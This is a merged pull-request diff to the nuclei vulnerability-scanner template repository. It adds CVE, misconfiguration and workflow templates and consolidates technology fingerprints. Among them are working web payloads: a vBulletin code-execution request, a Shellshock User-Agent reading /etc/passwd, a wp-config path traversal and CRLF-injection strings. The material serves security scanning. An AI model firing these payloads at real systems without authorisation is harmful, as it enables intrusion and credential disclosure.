Merge pull request #295 from Kiblyn11/wordpress-workflow-wp-config

wp-config misconfig and wordpress workflow

README.md

@@ -1,5 +1,232 @@
 Templates are the core of [nuclei scanner](https://github.com/projectdiscovery/nuclei) which power the actual scanning engine. This repository stores and houses various templates for the scanner provided by our team as well as contributed by the community. We hope that you also contribute by sending templates via **pull requests** and grow the list.
 
+<details>
+<summary>Template Directory</summary>
+
+```
+├── LICENSE
+├── README.md
+├── basic-detections
+│   ├── basic-xss-prober.yaml
+│   └── general-tokens.yaml
+├── brute-force
+│   └── tomcat-manager-bruteforce.yaml
+├── cves
+│   ├── CVE-2017-10075.yaml
+│   ├── CVE-2017-7529.yaml
+│   ├── CVE-2017-9506.yaml
+│   ├── CVE-2017-9841.yaml
+│   ├── CVE-2018-0296.yaml
+│   ├── CVE-2018-1000129.yaml
+│   ├── CVE-2018-11409.yaml
+│   ├── CVE-2018-11759.yaml
+│   ├── CVE-2018-1247.yaml
+│   ├── CVE-2018-1271.yaml
+│   ├── CVE-2018-13379.yaml
+│   ├── CVE-2018-14728.yaml
+│   ├── CVE-2018-16341.yaml
+│   ├── CVE-2018-18069.yaml
+│   ├── CVE-2018-19439.yaml
+│   ├── CVE-2018-20824.yaml
+│   ├── CVE-2018-2791.yaml
+│   ├── CVE-2018-3714.yaml
+│   ├── CVE-2018-3760.yaml
+│   ├── CVE-2018-5230.yaml
+│   ├── CVE-2018-7490.yaml
+│   ├── CVE-2019-10475.yaml
+│   ├── CVE-2019-11510.yaml
+│   ├── CVE-2019-12314.yaml
+│   ├── CVE-2019-14322.yaml
+│   ├── CVE-2019-14974.yaml
+│   ├── CVE-2019-15043.yaml
+│   ├── CVE-2019-16759.yaml
+│   ├── CVE-2019-17382.yaml
+│   ├── CVE-2019-18394.yaml
+│   ├── CVE-2019-19368.yaml
+│   ├── CVE-2019-19781.yaml
+│   ├── CVE-2019-19908.yaml
+│   ├── CVE-2019-19985.yaml
+│   ├── CVE-2019-2588.yaml
+│   ├── CVE-2019-3396.yaml
+│   ├── CVE-2019-3799.yaml
+│   ├── CVE-2019-5418.yaml
+│   ├── CVE-2019-8449.yaml
+│   ├── CVE-2019-8451.yaml
+│   ├── CVE-2019-8903.yaml
+│   ├── CVE-2019-8982.yaml
+│   ├── CVE-2020-10199.yaml
+│   ├── CVE-2020-10204.yaml
+│   ├── CVE-2020-1147.yaml
+│   ├── CVE-2020-12720.yaml
+│   ├── CVE-2020-13167.yaml
+│   ├── CVE-2020-2096.yaml
+│   ├── CVE-2020-3187.yaml
+│   ├── CVE-2020-3452.yaml
+│   ├── CVE-2020-5284.yaml
+│   ├── CVE-2020-5405.yaml
+│   ├── CVE-2020-5410.yaml
+│   ├── CVE-2020-5902.yaml
+│   ├── CVE-2020-6287.yaml
+│   ├── CVE-2020-7209.yaml
+│   ├── CVE-2020-7961.yaml
+│   ├── CVE-2020-8091.yaml
+│   ├── CVE-2020-8115.yaml
+│   ├── CVE-2020-8191.yaml
+│   ├── CVE-2020-8193.yaml
+│   ├── CVE-2020-8194.yaml
+│   ├── CVE-2020-8512.yaml
+│   ├── CVE-2020-8982.yaml
+│   ├── CVE-2020-9484.yaml
+│   └── CVE-2020-9757.yaml
+├── dns
+│   ├── azure-takeover-detection.yaml
+│   ├── cname-service-detector.yaml
+│   ├── dead-host-with-cname.yaml
+│   └── servfail-refused-hosts.yaml
+├── files
+│   ├── apc-info.yaml
+│   ├── cgi-test-page.yaml
+│   ├── debug-pprof.yaml
+│   ├── dir-listing.yaml
+│   ├── docker-registry.yaml
+│   ├── drupal-install.yaml
+│   ├── elasticsearch.yaml
+│   ├── exposed-kibana.yaml
+│   ├── exposed-svn.yaml
+│   ├── filezilla.yaml
+│   ├── firebase-detect.yaml
+│   ├── git-config.yaml
+│   ├── htaccess-config.yaml
+│   ├── jkstatus-manager.yaml
+│   ├── jolokia.yaml
+│   ├── laravel-env.yaml
+│   ├── lazy-file.yaml
+│   ├── phpinfo.yaml
+│   ├── public-tomcat-instance.yaml
+│   ├── security.txt.yaml
+│   ├── server-status-localhost.yaml
+│   ├── telerik-dialoghandler-detect.yaml
+│   ├── telerik-fileupload-detect.yaml
+│   ├── tomcat-scripts.yaml
+│   ├── wadl-files.yaml
+│   ├── web-config.yaml
+│   ├── wordpress-directory-listing.yaml
+│   ├── wordpress-user-enumeration.yaml
+│   ├── wp-xmlrpc.yaml
+│   └── zip-backup-files.yaml
+├── panels
+│   ├── atlassian-crowd-panel.yaml
+│   ├── cisco-asa-panel.yaml
+│   ├── citrix-adc-gateway-detect.yaml
+│   ├── compal.yaml
+│   ├── crxde.yaml
+│   ├── docker-api.yaml
+│   ├── fortinet-fortigate-panel.yaml
+│   ├── globalprotect-panel.yaml
+│   ├── grafana-detect.yaml
+│   ├── jenkins-asyncpeople.yaml
+│   ├── jmx-console.yaml
+│   ├── kubernetes-pods.yaml
+│   ├── mongo-express-web-gui.yaml
+│   ├── parallels-html-client.yaml
+│   ├── phpmyadmin-panel.yaml
+│   ├── pulse-secure-panel.yaml
+│   ├── rabbitmq-dashboard.yaml
+│   ├── sap-netweaver-detect.yaml
+│   ├── sap-recon-detect.yaml
+│   ├── sophos-fw-version-detect.yaml
+│   ├── supervpn-panel.yaml
+│   ├── swagger-panel.yaml
+│   ├── tikiwiki-cms.yaml
+│   ├── weave-scope-dashboard-detect.yaml
+│   └── webeditors.yaml
+├── payloads
+│   └── CVE-2020-6287.xml
+├── security-misconfiguration
+│   ├── basic-cors-flash.yaml
+│   ├── basic-cors.yaml
+│   ├── front-page-misconfig.yaml
+│   ├── jira-service-desk-signup.yaml
+│   ├── jira-unauthenticated-dashboards.yaml
+│   ├── jira-unauthenticated-popular-filters.yaml
+│   ├── jira-unauthenticated-projects.yaml
+│   ├── jira-unauthenticated-user-picker.yaml
+│   ├── rabbitmq-default-admin.yaml
+│   ├── rack-mini-profiler.yaml
+│   ├── springboot-detect.yaml
+│   └── wamp-xdebug-detect.yaml
+├── subdomain-takeover
+│   ├── detect-all-takeovers.yaml
+│   └── s3-subtakeover.yaml
+├── technologies
+│   ├── bigip-config-utility-detect.yaml
+│   ├── citrix-vpn-detect.yaml
+│   ├── clockwork-php-page.yaml
+│   ├── couchdb-detect.yaml
+│   ├── github-enterprise-detect.yaml
+│   ├── gitlab-detect.yaml
+│   ├── graphql.yaml
+│   ├── home-assistant.yaml
+│   ├── jaspersoft-detect.yaml
+│   ├── jira-detect.yaml
+│   ├── liferay-portal-detect.yaml
+│   ├── linkerd-badrule-detect.yaml
+│   ├── linkerd-ssrf-detect.yaml
+│   ├── netsweeper-webadmin-detect.yaml
+│   ├── ntlm-directories.yaml
+│   ├── prometheus-exposed-panel.yaml
+│   ├── s3-detect.yaml
+│   ├── sap-netweaver-as-java-detect.yaml
+│   ├── sap-netweaver-detect.yaml
+│   ├── sql-server-reporting.yaml
+│   ├── tech-detect.yaml
+│   ├── weblogic-detect.yaml
+│   └── werkzeug-debugger-detect.yaml
+├── tokens
+│   ├── amazon-mws-auth-token-value.yaml
+│   ├── aws-access-key-value.yaml
+│   ├── google-api-key.yaml
+│   ├── http-username-password.yaml
+│   ├── mailchimp-api-key.yaml
+│   └── slack-access-token.yaml
+├── vulnerabilities
+│   ├── cached-aem-pages.yaml
+│   ├── couchdb-adminparty.yaml
+│   ├── crlf-injection.yaml
+│   ├── discourse-xss.yaml
+│   ├── git-config-nginxoffbyslash.yaml
+│   ├── ibm-infoprint-directory-traversal.yaml
+│   ├── microstrategy-ssrf.yaml
+│   ├── moodle-filter-jmol-lfi.yaml
+│   ├── moodle-filter-jmol-xss.yaml
+│   ├── nginx-module-vts-xss.yaml
+│   ├── open-redirect.yaml
+│   ├── oracle-ebs-bispgraph-file-access.yaml
+│   ├── pdf-signer-ssti-to-rce.yaml
+│   ├── rce-shellshock-user-agent.yaml
+│   ├── rce-via-java-deserialization.yaml
+│   ├── springboot-actuators-jolokia-xxe.yaml
+│   ├── symfony-debugmode.yaml
+│   ├── tikiwiki-reflected-xss.yaml
+│   ├── tomcat-manager-pathnormalization.yaml
+│   ├── twig-php-ssti.yaml
+│   ├── wordpress-duplicator-path-traversal.yaml
+│   ├── wordpress-wordfence-xss.yaml
+│   └── x-forwarded-host-injection.yaml
+└── workflows
+    ├── bigip-pwner-workflow.yaml
+    ├── jira-exploitaiton-workflow.yaml
+    ├── liferay-rce-workflow.yaml
+    ├── netsweeper-preauth-rce-workflow.yaml
+    ├── rabbitmq-workflow.yaml
+    ├── sap-netweaver-workflow.yaml
+    └── springboot-pwner-workflow.yaml
+```
+
+</details>
+
+13 directories, **204 templates**. 
+
 Please navigate to https://nuclei.projectdiscovery.io for detailed documentation to build new and your own custom templates and many example templates for easy understanding. 
 
 ------

cves/CVE-2017-9841.yaml

@@ -0,0 +1,36 @@
+id: CVE-2017-9841
+
+info:
+  name: CVE-2017-9841
+  author: Random-Robbie
+  severity: High
+
+  # Reference to exploit
+  # https://github.com/cyberharsh/Php-unit-CVE-2017-9841
+  # https://github.com/RandomRobbieBF/phpunit-brute
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/sites/all/libraries/mailchimp/vendor/phpunit/phpunit/phpunit"
+      - "{{BaseURL}}/vendor/phpunit/phpunit/phpunit"
+      - "{{BaseURL}}/laravel_api/vendor/phpunit/phpunit/phpunit"
+      - "{{BaseURL}}/api/vendor/phpunit/phpunit/phpunit"
+      - "{{BaseURL}}/apps/vendor/phpunit/phpunit/phpunit"
+      - "{{BaseURL}}/backup/vendor/phpunit/phpunit/phpunit"
+      - "{{BaseURL}}/oldsite/vendor/phpunit/phpunit/phpunit"
+      - "{{BaseURL}}/lib/phpunit/phpunit/phpunit"
+      - "{{BaseURL}}/modules/vendor/phpunit/phpunit/phpunit"
+      - "{{BaseURL}}/old/vendor/phpunit/phpunit/phpunit"
+      - "{{BaseURL}}/zend/vendor/phpunit/phpunit/phpunit"
+      - "{{BaseURL}}/yii/vendor/phpunit/phpunit/phpunit"
+    matchers-condition: and
+    matchers:
+      - type: word
+        words:
+          - "this version of phpunit requires php 5"
+        part: body
+
+      - type: status
+        status:
+          - 200

cves/CVE-2018-11759.yaml

@@ -3,14 +3,15 @@ id: CVE-2018-11759
 info:
   name: Apache Tomcat JK Status Manager Access
   author: Harsh Bothra
-  severity: Medium
+  severity: medium
 
-# source:- https://github.com/immunIT/CVE-2018-11759
+# Source:- https://github.com/immunIT/CVE-2018-11759
 
 requests:
   - method: GET
     path:
       - '{{BaseURL}}/jkstatus'
+      - '{{BaseURL}}/jkstatus;'
 
     matchers-condition: and
     matchers:

cves/CVE-2019-16759-1.yaml

@@ -0,0 +1,25 @@
+id: CVE-2019-16759-1
+
+info:
+  name: 0day RCE in vBulletin v5.0.0-v5.5.4 fix bypass
+  author: madrobot
+  severity: high
+
+# Source:- https://blog.exploitee.rs/2020/exploiting-vbulletin-a-tale-of-patch-fail/
+
+requests:
+  - raw:
+      - |
+        POST /ajax/render/widget_tabbedcontainer_tab_panel HTTP/1.1
+        Content-Type: application/x-www-form-urlencoded
+
+        subWidgets[0][template]=widget_php&subWidgets[0][config][code]=phpinfo();
+
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 200
+      - type: word
+        words:
+          - "PHP Version"

files/wadl-files.yaml

@@ -2,16 +2,34 @@ id: wadl-files
 
 info:
   name: wadl file disclosure
-  author: 0xrudra
+  author: 0xrudra & manuelbua
   severity: info
 
 requests:
   - method: GET
     path:
       - "{{BaseURL}}/application.wadl"
-      - "{{BaseURL}}/service?Wsdl"
+      - "{{BaseURL}}/application.wadl?detail=true"
+      - "{{BaseURL}}/api/application.wadl"
+      - "{{BaseURL}}/api/v1/application.wadl"
+      - "{{BaseURL}}/api/v2/application.wadl"
     matchers:
-      - type: word
+      - name: http-get
+        type: word
+        words:
+          - "This is simplified WADL with user and core resources only"
+          - "\"http://jersey.java.net/\""
+          - "http://wadl.dev.java.net/2009/02"
+        condition: or
+        part: body
+  - method: OPTIONS
+    path:
+      - "{{BaseURL}}/"
+      - "{{BaseURL}}/api/v1"
+      - "{{BaseURL}}/api/v2"
+    matchers:
+      - name: http-options
+        type: word
         words:
           - "This is simplified WADL with user and core resources only"
           - "\"http://jersey.java.net/\""

security-misconfiguration/wordpress-accessible-wpconfig.yaml

@@ -0,0 +1,20 @@
+id: wordpress-accessible-wpconfig
+info:
+  name: WordPress accessible wp-config
+  author: Kiblyn11 & zomsop82
+  severity: high
+requests:
+  - method: GET
+    path:
+      - '{{BaseURL}}/wp-config.php'
+      - '{{BaseURL}}/wp-config-sample.php'
+      - '{{BaseURL}}/wp-config.php.txt'
+      - '{{BaseURL}}/wp-config.php.bak'
+      - '{{BaseURL}}/wp-config.php.old'
+      - '{{BaseURL}}/wp-config-backup.txt'
+      - '{{BaseURL}}/wp-license.php?file=../..//wp-config'
+    matchers:
+      - type: word
+        words:
+          - DB_NAME
+        part: body

technologies/aem-cms-finder.yaml

@@ -1,18 +0,0 @@
-id: aem-cms-finder
-
-info:
-  name: AEM Finder
-  author: mzack9999
-  severity: info
-
-requests:
-  - method: GET
-    path:
-      - "{{BaseURL}}"
-    matchers:
-      - type: word
-        words:
-          - "/etc/clientlibs/"
-          - "/content/dam/"
-        part: body
-        condition: or

technologies/cdn.yaml

@@ -1,50 +0,0 @@
-id: content-delivery-network
-
-info:
-  name: Detect content delivery network
-  author: fabaff
-  severity: info
-
-requests:
-  - method: GET
-    path:
-      - "{{BaseURL}}/"
-    matchers-condition: or
-    matchers:
-      - type: word
-        name: cloudflare
-        words:
-          - "cloudflare"
-        part: header
-      - type: word
-        name: akamai
-        words:
-          - "AkamaiGHost"
-        part: header
-      - type: word
-        name: sucuri
-        words:
-          - "Sucuri/Cloudproxy"
-        part: header
-      - type: word
-        name: Imperva
-        words:
-          - "X-Iinfo:"
-        part: header
-      - type: word
-        name: ddos-guard
-        words:
-          - "ddos-guard"
-        part: header
-      - type: word
-        name: dosarrest
-        words:
-          - "DOSarrest"
-          - "X-DIS-Request-ID:"
-        part: header
-      - type: word
-        name: arvancloud
-        words:
-          - "ArvanCloud"
-          - "AR-Request-ID:"
-        part: header

technologies/clockwork-php-header.yaml

@@ -1,19 +0,0 @@
-id: clockwork-php-header
-info:
-  name: Clockwork PHP exposure
-  author: organiccrap
-  severity: high
-  # https://twitter.com/damian_89_/status/1250721398747791360
-requests:
-  - method: GET
-    path:
-      - '{{BaseURL}}/'
-    headers:
-      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:55.0) Gecko/20100101 Firefox/55
-    matchers:
-      - type: word
-        words:
-          - 'X-Clockwork-Id:'
-          - 'X-Clockwork-Version:'
-        part: header
-        condition: and

technologies/cms-detect.yaml

@@ -1,28 +0,0 @@
-id: cms-detect
-
-info:
-  name: CMS Detect
-  author: NkxxkN https://twitter.com/NkkxN
-  severity: info
-
-requests:
-  - method: GET
-    path:
-      - "{{BaseURL}}/"
-    matchers-condition: or
-    matchers:
-      - type: word
-        name: drupal
-        words:
-          - "X-Drupal"
-          - "x-drupal"
-          - "X-Generator: Drupal"
-        condition: or
-        part: header
-      - type: word
-        name: wordpress
-        words:
-          - "/wp-content/"
-          - "/wp-includes/"
-        condition: or
-        part: body

technologies/jenkins-headers-detect.yaml

@@ -1,16 +0,0 @@
-id: jenkins-headers-detect
-
-info:
-  name: Jenkins Headers Based Detection
-  author: ice3man
-  severity: info
-
-requests:
-  - method: GET
-    path:
-      - "{{BaseURL}}/"
-    matchers:
-      - type: word
-        words:
-          - "X-Jenkins"
-        part: header

technologies/programming-language-detect.yaml

@@ -1,34 +0,0 @@
-id: programming-language-detect
-
-info:
-  name: Programming Language Detect
-  author: NkxxkN https://twitter.com/NkkxN
-  severity: info
-
-requests:
-  - method: GET
-    path:
-      - "{{BaseURL}}/"
-    matchers-condition: or
-    matchers:
-      - type: word
-        name: php
-        words:
-          - "X-Powered-By: PHP"
-          - "PHPSESSID"
-        part: header
-      - type: word
-        name: node
-        words:
-          - "Server: NodeJS"
-          - "X-Powered-By: nodejs"
-        condition: or
-        part: header
-      - type: word
-        name: python
-        words:
-          - "Python/2."
-          - "Python/3."
-          - "CPython/3."
-        condition: or
-        part: header

technologies/reverse-proxy-detect.yaml

@@ -1,23 +0,0 @@
-id: reverse-proxy-detect
-
-info:
-  name: Reverse Proxy Detect
-  author: NkxxkN https://twitter.com/NkkxN
-  severity: info
-
-requests:
-  - method: GET
-    path:
-      - "{{BaseURL}}/"
-    matchers-condition: or
-    matchers:
-      - type: word
-        name: nginx
-        words:
-          - "Server: nginx"
-        part: header
-      - type: word
-        name: apache
-        words:
-          - "Server: Apache"
-        part: header

technologies/tech-detect.yaml

@@ -1024,6 +1024,11 @@ requests:
         regex:
           - <div id="copyright">Powered by vBulletin
         condition: or
+      - type: word
+        name: vbulletin
+        words:
+          - 'vBulletin.version'
+          - 'content="vBulletin'
         part: body
       - type: regex
         name: meteor
@@ -1827,8 +1832,11 @@ requests:
         name: drupal
         regex:
           - <(?:link|style)[^>]+"/sites/(?:default|all)/(?:themes|modules)/
+          - "X-Drupal"
+          - "x-drupal"
+          - "X-Generator: Drupal"
         condition: or
-        part: body
+        part: all
       - type: regex
         name: webxpay
         regex:
@@ -2472,4 +2480,205 @@ requests:
         regex:
           - " <a [^>]+Powered by Lithium"
         condition: or
+        part: body
+
+      - type: word
+        name: clockwork
+        words:
+          - 'X-Clockwork-Id:'
+          - 'X-Clockwork-Version:'
+        part: header
+
+      - type: word
+        name: symfony
+        words:
+          - "Set-Cookie: symfony="
+        part: header
+
+      - type: word
+        name: laravel
+        words:
+          - "Set-Cookie: laravel_session="
+        part: header
+
+      - type: word
+        name: express
+        words:
+          - "X-Powered-By: Express"
+        part: header
+
+      - type: word
+        name: rails
+        words:
+          - "meta content=\"authenticity_token\" name=\"csrf-param"
+        part: body
+
+      - type: word
+        name: angular
+        words:
+          - "ng-app=\""
+          - "<ng-app"
+          - "*ngIf="
+          - "ng-controller="
+        condition: or
+        part: body
+
+      - type: word
+        name: apache
+        words:
+          - "Apache"
+        part: header
+      - type: word
+        name: lighttpd
+        words:
+          - "lighttpd"
+        part: header
+      - type: word
+        name: lighttpd
+        words:
+          - "lighttpd"
+        part: header
+      - type: word
+        name: wsgiserver
+        words:
+          - "WSGIServer"
+        part: header
+      - type: word
+        name: simplehttp
+        words:
+          - "SimpleHTTP"
+        part: header
+      - type: word
+        name: twistedweb
+        words:
+          - "TwistedWeb"
+        part: header
+      - type: word
+        name: tsm
+        words:
+          - "TSM_HTTP"
+        part: header
+      - type: word
+        name: ms-iis
+        words:
+          - "Microsoft-IIS"
+        part: header
+      - type: word
+        name: ms-httpapi
+        words:
+          - "Microsoft-HTTPAPI"
+        part: header
+      - type: word
+        name: tomcat
+        words:
+          - "Tomcat"
+        part: header
+      - type: word
+        name: darkhttpd
+        words:
+          - "darkhttpd"
+        part: header
+      - type: word
+        name: cherrypy
+        words:
+          - "CherryPy"
+        part: header
+      - type: word
+        name: cherokee
+        words:
+          - "Cherokee"
+        part: header
+      - type: word
+        name: caddy
+        words:
+          - "Caddy"
+        part: header
+      - type: word
+        name: jetty
+        words:
+          - "Jetty"
+        part: header
+
+      - type: word
+        name: nginx
+        words:
+          - "Server: nginx"
+        part: header
+      - type: word
+        name: apache
+        words:
+          - "Server: Apache"
+        part: header
+
+      - type: word
+        name: php
+        words:
+          - "X-Powered-By: PHP"
+          - "PHPSESSID"
+        part: header
+      - type: word
+        name: node
+        words:
+          - "Server: NodeJS"
+          - "X-Powered-By: nodejs"
+        condition: or
+        part: header
+      - type: word
+        name: python
+        words:
+          - "Python/2."
+          - "Python/3."
+          - "CPython/3."
+        condition: or
+        part: header
+
+      - type: word
+        name: jenkins
+        words:
+          - "X-Jenkins"
+        part: header
+
+      - type: word
+        name: cloudflare
+        words:
+          - "cloudflare"
+        part: header
+      - type: word
+        name: akamai
+        words:
+          - "AkamaiGHost"
+        part: header
+      - type: word
+        name: sucuri
+        words:
+          - "Sucuri/Cloudproxy"
+        part: header
+      - type: word
+        name: Imperva
+        words:
+          - "X-Iinfo:"
+        part: header
+      - type: word
+        name: ddos-guard
+        words:
+          - "ddos-guard"
+        part: header
+      - type: word
+        name: dosarrest
+        words:
+          - "DOSarrest"
+          - "X-DIS-Request-ID:"
+        part: header
+      - type: word
+        name: arvancloud
+        words:
+          - "ArvanCloud"
+          - "AR-Request-ID:"
+        part: header
+
+      - type: word
+        name: aem_cms
+        words:
+          - "/etc/clientlibs/"
+          - "/content/dam/"
         part: body

technologies/tool-detect.yaml

@@ -1,17 +0,0 @@
-id: tool-detect
-
-info:
-  name: Tool Detect
-  author: NkxxkN https://twitter.com/NkkxN
-  severity: info
-
-requests:
-  - method: GET
-    path:
-      - "{{BaseURL}}/"
-    matchers:
-      - type: word
-        name: clockwork
-        words:
-          - "X-Clockwork-Id"
-        part: header

technologies/web-framework-detect.yaml

@@ -1,42 +0,0 @@
-id: web-framework-detect
-
-info:
-  name: Web Framework Detect
-  author: NkxxkN https://twitter.com/NkkxN
-  severity: info
-
-requests:
-  - method: GET
-    path:
-      - "{{BaseURL}}/"
-    matchers-condition: or
-    matchers:
-      - type: word
-        name: symfony
-        words:
-          - "Set-Cookie: symfony="
-        part: header
-      - type: word
-        name: laravel
-        words:
-          - "Set-Cookie: laravel_session="
-        part: header
-      - type: word
-        name: express
-        words:
-          - "X-Powered-By: Express"
-        part: header
-      - type: word
-        name: rails
-        words:
-          - "meta content=\"authenticity_token\" name=\"csrf-param"
-        part: body
-      - type: word
-        name: angular
-        words:
-          - "ng-app=\""
-          - "<ng-app"
-          - "*ngIf="
-          - "ng-controller="
-        condition: or
-        part: body

technologies/web-server.yaml

@@ -1,88 +0,0 @@
-id: web-server
-
-info:
-  name: Detect web server daemon
-  author: fabaff
-  severity: info
-
-requests:
-  - method: GET
-    path:
-      - "{{BaseURL}}/"
-    matchers-condition: or
-    matchers:
-      - type: word
-        name: apache
-        words:
-          - "Apache"
-        part: header
-      - type: word
-        name: lighttpd
-        words:
-          - "lighttpd"
-        part: header
-      - type: word
-        name: lighttpd
-        words:
-          - "lighttpd"
-        part: header
-      - type: word
-        name: wsgiserver
-        words:
-          - "WSGIServer"
-        part: header
-      - type: word
-        name: simplehttp
-        words:
-          - "SimpleHTTP"
-        part: header
-      - type: word
-        name: twistedweb
-        words:
-          - "TwistedWeb"
-        part: header
-      - type: word
-        name: tsm
-        words:
-          - "TSM_HTTP"
-        part: header
-      - type: word
-        name: ms-iis
-        words:
-          - "Microsoft-IIS"
-        part: header
-      - type: word
-        name: ms-httpapi
-        words:
-          - "Microsoft-HTTPAPI"
-        part: header
-      - type: word
-        name: tomcat
-        words:
-          - "Tomcat"
-        part: header
-      - type: word
-        name: darkhttpd
-        words:
-          - "darkhttpd"
-        part: header
-      - type: word
-        name: cherrypy
-        words:
-          - "CherryPy"
-        part: header
-      - type: word
-        name: cherokee
-        words:
-          - "Cherokee"
-        part: header
-      - type: word
-        name: caddy
-        words:
-          - "Caddy"
-        part: header
-      - type: word
-        name: jetty
-        words:
-          - "Jetty"
-        part: header

vulnerabilities/crlf-injection.yaml

@@ -2,7 +2,7 @@ id: crlf-injection
 
 info:
   name: CRLF injection
-  author: melbadry9 & nadino
+  author: melbadry9 & nadino & xElkomy
   severity: low
 
 requests:
@@ -15,6 +15,8 @@ requests:
       - "{{BaseURL}}/%3F%0DSet-Cookie%3Acrlfinjection=crlfinjection"
       - "{{BaseURL}}/%0ASet-Cookie%3Acrlfinjection/.."    # Apache
       - "{{BaseURL}}/~user/%0D%0ASet-Cookie:crlfinjection"    # CVE-2016-4975
+      - "{{BaseURL}}/?Page=%0D%0ASet-Cookie:crlfinjection=crlfinjection&_url=%0D%0ASet-Cookie:crlfinjection=crlfinjection&callback=%0D%0ASet-Cookie:crlfinjection=crlfinjection&checkout_url=%0D%0ASet-Cookie:crlfinjection=crlfinjection&content=%0D%0ASet-Cookie:crlfinjection=crlfinjection&continue=%0D%0ASet-Cookie:crlfinjection=crlfinjection&continueTo=%0D%0ASet-Cookie:crlfinjection=crlfinjection&counturl=%0D%0ASet-Cookie:crlfinjection=crlfinjection&data=%0D%0ASet-Cookie:crlfinjection=crlfinjection&dest=%0D%0ASet-Cookie:crlfinjection=crlfinjection&dest_url=%0D%0ASet-Cookie:crlfinjection=crlfinjection&dir=%0D%0ASet-Cookie:crlfinjection=crlfinjection&document=%0D%0ASet-Cookie:crlfinjection=crlfinjection&domain=%0D%0ASet-Cookie:crlfinjection=crlfinjection&done=%0D%0ASet-Cookie:crlfinjection=crlfinjection&download=%0D%0ASet-Cookie:crlfinjection=crlfinjection&feed=%0D%0ASet-Cookie:crlfinjection=crlfinjection&file=%0D%0ASet-Cookie:crlfinjection=crlfinjection&host=%0D%0ASet-Cookie:crlfinjection=crlfinjection&html=%0D%0ASet-Cookie:crlfinjection=crlfinjection&http=%0D%0ASet-Cookie:crlfinjection=crlfinjection&https=%0D%0ASet-Cookie:crlfinjection=crlfinjection&image=%0D%0ASet-Cookie:crlfinjection=crlfinjection&image_src=%0D%0ASet-Cookie:crlfinjection=crlfinjection&image_url=%0D%0ASet-Cookie:crlfinjection=crlfinjection&imageurl=%0D%0ASet-Cookie:crlfinjection=crlfinjection&include=%0D%0ASet-Cookie:crlfinjection=crlfinjection&media=%0D%0ASet-Cookie:crlfinjection=crlfinjection&navigation=%0D%0ASet-Cookie:crlfinjection=crlfinjection&next=%0D%0ASet-Cookie:crlfinjection=crlfinjection&open=%0D%0ASet-Cookie:crlfinjection=crlfinjection&out=%0D%0ASet-Cookie:crlfinjection=crlfinjection&page=%0D%0ASet-Cookie:crlfinjection=crlfinjection&page_url=%0D%0ASet-Cookie:crlfinjection=crlfinjection&pageurl=%0D%0ASet-Cookie:crlfinjection=crlfinjection&path=%0D%0ASet-Cookie:crlfinjection=crlfinjection&picture=%0D%0ASet-Cookie:crlfinjection=crlfinjection&port=%0D%0ASet-Cookie:crlfinjection=crlfinjection&proxy=%0D%0ASet-Cookie:crlfinjection=crlfinjection&redir=%0D%0ASet-Cookie:crlfinjection=crlfinjection&redirect=%0D%0ASet-Cookie:crlfinjection=crlfinjection&redirectUri&redirectUrl=%0D%0ASet-Cookie:crlfinjection=crlfinjection&reference=%0D%0ASet-Cookie:crlfinjection=crlfinjection&referrer=%0D%0ASet-Cookie:crlfinjection=crlfinjection&req=%0D%0ASet-Cookie:crlfinjection=crlfinjection&request=%0D%0ASet-Cookie:crlfinjection=crlfinjection&retUrl=%0D%0ASet-Cookie:crlfinjection=crlfinjection&return=%0D%0ASet-Cookie:crlfinjection=crlfinjection&returnTo=%0D%0ASet-Cookie:crlfinjection=crlfinjection&return_path=%0D%0ASet-Cookie:crlfinjection=crlfinjection&return_to=%0D%0ASet-Cookie:crlfinjection=crlfinjection&rurl=%0D%0ASet-Cookie:crlfinjection=crlfinjection&show=%0D%0ASet-Cookie:crlfinjection=crlfinjection&site=%0D%0ASet-Cookie:crlfinjection=crlfinjection&source=%0D%0ASet-Cookie:crlfinjection=crlfinjection&src=%0D%0ASet-Cookie:crlfinjection=crlfinjection&target=%0D%0ASet-Cookie:crlfinjection=crlfinjection&to=%0D%0ASet-Cookie:crlfinjection=crlfinjection&uri=%0D%0ASet-Cookie:crlfinjection=crlfinjection&url=%0D%0ASet-Cookie:crlfinjection=crlfinjection&val=%0D%0ASet-Cookie:crlfinjection=crlfinjection&validate=%0D%0ASet-Cookie:crlfinjection=crlfinjection&view=%0D%0ASet-Cookie:crlfinjection=crlfinjection&window=%0D%0ASet-Cookie:crlfinjection=crlfinjection&redirect_to=%0D%0ASet-Cookie:crlfinjection=crlfinjection"
+
     matchers:
       - type: regex
         regex:

vulnerabilities/rce-shellshock-user-agent.yaml

@@ -8,7 +8,7 @@ info:
 requests:
  - method: GET
    headers:
-    User-Agent: "{ :;}; echo $(</etc/passwd)"
+    User-Agent: "() { :; }; echo; echo; /bin/bash -c 'cat /etc/passwd;'"
    path:
     - "{{BaseURL}}/cgi-bin/status"
    matchers:

vulnerabilities/rce-via-java-deserialization.yaml

@@ -1,3 +1,4 @@
+id: rce-via-java-deserialization
 info:
   name: Java Deserialization [RCE]
   author: uhnysh

workflows/vbulletin-workflow.yaml

@@ -0,0 +1,25 @@
+id: vbulletin-workflow
+
+info:
+  name: vBulletin workflow
+  author: pdteam
+
+variables:
+
+  vbulletin_tech: technologies/tech-detect.yaml
+  vbulletin_cve_1: cves/CVE-2019-16759.yaml
+  vbulletin_cve_2: cves/CVE-2019-16759-1.yaml
+  vbulletin_cve_3: cves/CVE-2020-12720.yaml
+
+  # This will run all 3 CVEs if vbulletin tech is found.
+
+logic:
+  |
+  vbulletin_tech()
+
+  if vbulletin_tech["vbulletin"] {
+
+    vbulletin_cve_1()
+    vbulletin_cve_2()
+    vbulletin_cve_3()
+  }

workflows/wordpress-workflow.yaml

@@ -0,0 +1,22 @@
+id: wordpress-workflow
+info:
+  name: Wordpress workflow
+  author: Kiblyn11 & zomsop82
+variables:
+  wordpress_tech: technologies/tech-detect.yaml
+  wordpress_dir_listing: files/wordpress-directory-listing.yaml
+  wordpress_user_enum: files/wordpress-user-enumeration.yaml
+  wordpress_wpconfig: security-misconfiguration/wordpress-accessible-wpconfig.yaml
+  wordpress_duplicator_path_traversal: vulnerabilities/wordpress-duplicator-path-traversal.yaml
+  wordpress_wordfence_xss: vulnerabilities/wordpress-wordfence-xss.yaml
+logic: |
+  wordpress_tech()
+
+  if wordpress_tech["wordpress"] {
+
+    wordpress_dir_listing()
+    wordpress_user_enum()
+    wordpress_wpconfig()
+    wordpress_duplicator_path_traversal()
+    wordpress_wordfence_xss()
+  }